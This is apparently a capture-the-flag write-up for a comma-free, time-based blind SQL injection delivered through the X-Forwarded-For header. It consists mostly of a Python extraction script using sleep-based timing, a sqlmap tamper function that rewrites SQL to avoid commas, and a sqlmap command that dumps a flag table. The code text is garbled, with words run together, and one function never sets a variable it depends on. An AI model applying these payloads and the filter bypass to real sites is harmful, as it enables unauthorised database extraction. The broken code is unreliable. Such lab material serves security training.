for i inrange(1,33): forstrin guess: headers={"x-forwarded-for":"xx'+"+"(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(5) else 1 end ) and '1'='1" %(i,str)} try: res=requests.get(url,headers=headers,timeout=4) except requests.exceptions.ReadTimeout, e: flag = flag + str print"flag:", flag break
deftamper(payload, **kwargs): """ Replaces some instances with something whthout comma
Requirement: * MySQL
Tested against: * MySQL 5.0 >>> tamper('ISNULL(TIMESTAMPADD(MINUTE,7061,NULL))') 'ISNULL(NULL)' >>> tamper('MID(VERSION(), 2, 1)') 'MID(VERSION() FROM 2 FOR 1)'
>>> tamper('IF(26=26,0,5)') 'CASE WHEN 26=26 THEN 0 ELSE 5 END' >>> tamper('IFNULL(NULL,0x20)') 'CASE WHEN NULL=NULL THEN 0x20 ELSE NULL END' >>> tamper('LIMIT 2, 3') 'LIMIT 3 OFFSET 2' """
defcommalessif(payload): if payload and payload.find("IF") > -1: while payload.find("IF(") > -1: index = payload.find("IF(") depth = 1 comma1, comma2, end = None, None, None
for i in xrange(index + len("IF("), len(payload)): if depth == 1and payload[i] == ','andnot comma1: comma1 = i
elif depth == 1and payload[i] == ')': end = i break
elif payload[i] == '(': depth += 1
elif payload[i] == ')': depth -= 1
if comma1 and comma2 and end: _ = payload[index + len("IF("):comma1] __ = payload[comma1 + 1:comma2] ___ = payload[comma2 + 1:end] newVal = "CASE WHEN %s THEN %s ELSE %s END" % (_, __, ___) payload = payload[:index] + newVal + payload[end + 1:] else: break
return payload
defcommalessifnull(payload): if payload and payload.find("IFNULL") > -1: while payload.find("IFNULL(") > -1: index = payload.find("IFNULL(") depth = 1 comma, end = None, None
for i in xrange(index + len("IFNULL("), len(payload)): if depth == 1and payload[i] == ',': comma = i
elif depth == 1and payload[i] == ')': end = i break
elif payload[i] == '(': depth += 1
elif payload[i] == ')': depth -= 1
if comma and end: _ = payload[index + len("IFNULL("):comma] __ = payload[comma + 1:end].lstrip() newVal = "CASE WHEN %s=NULL THEN %s ELSE %s END" % (_, __, _) payload = payload[:index] + newVal + payload[end + 1:] else: break
return payload
retVal = payload
if payload: retVal = re.sub(r'(?i)TIMESTAMPADD\(\w+,\d+,NULL\)', 'NULL', retVal) retVal = re.sub(r'(?i)MID\((.+?)\s*,\s*(\d+)\s*\,\s*(\d+)\s*\)', 'MID(\g<1> FROM \g<2> FOR \g<3>)', retVal) retVal = commalessif(retVal) retVal = commalessifnull(retVal) retVal = re.sub(r'(?i)LIMIT\s*(\d+),\s*(\d+)', 'LIMIT \g<2> OFFSET \g<1>', retVal)
return retVal
运行sqlmap:
1
sqlmap.py -r post.txt--level=3--skip="user-agent,referer" -v 3--tamper=commalessmysql -D web4 -T flag -C flag --dump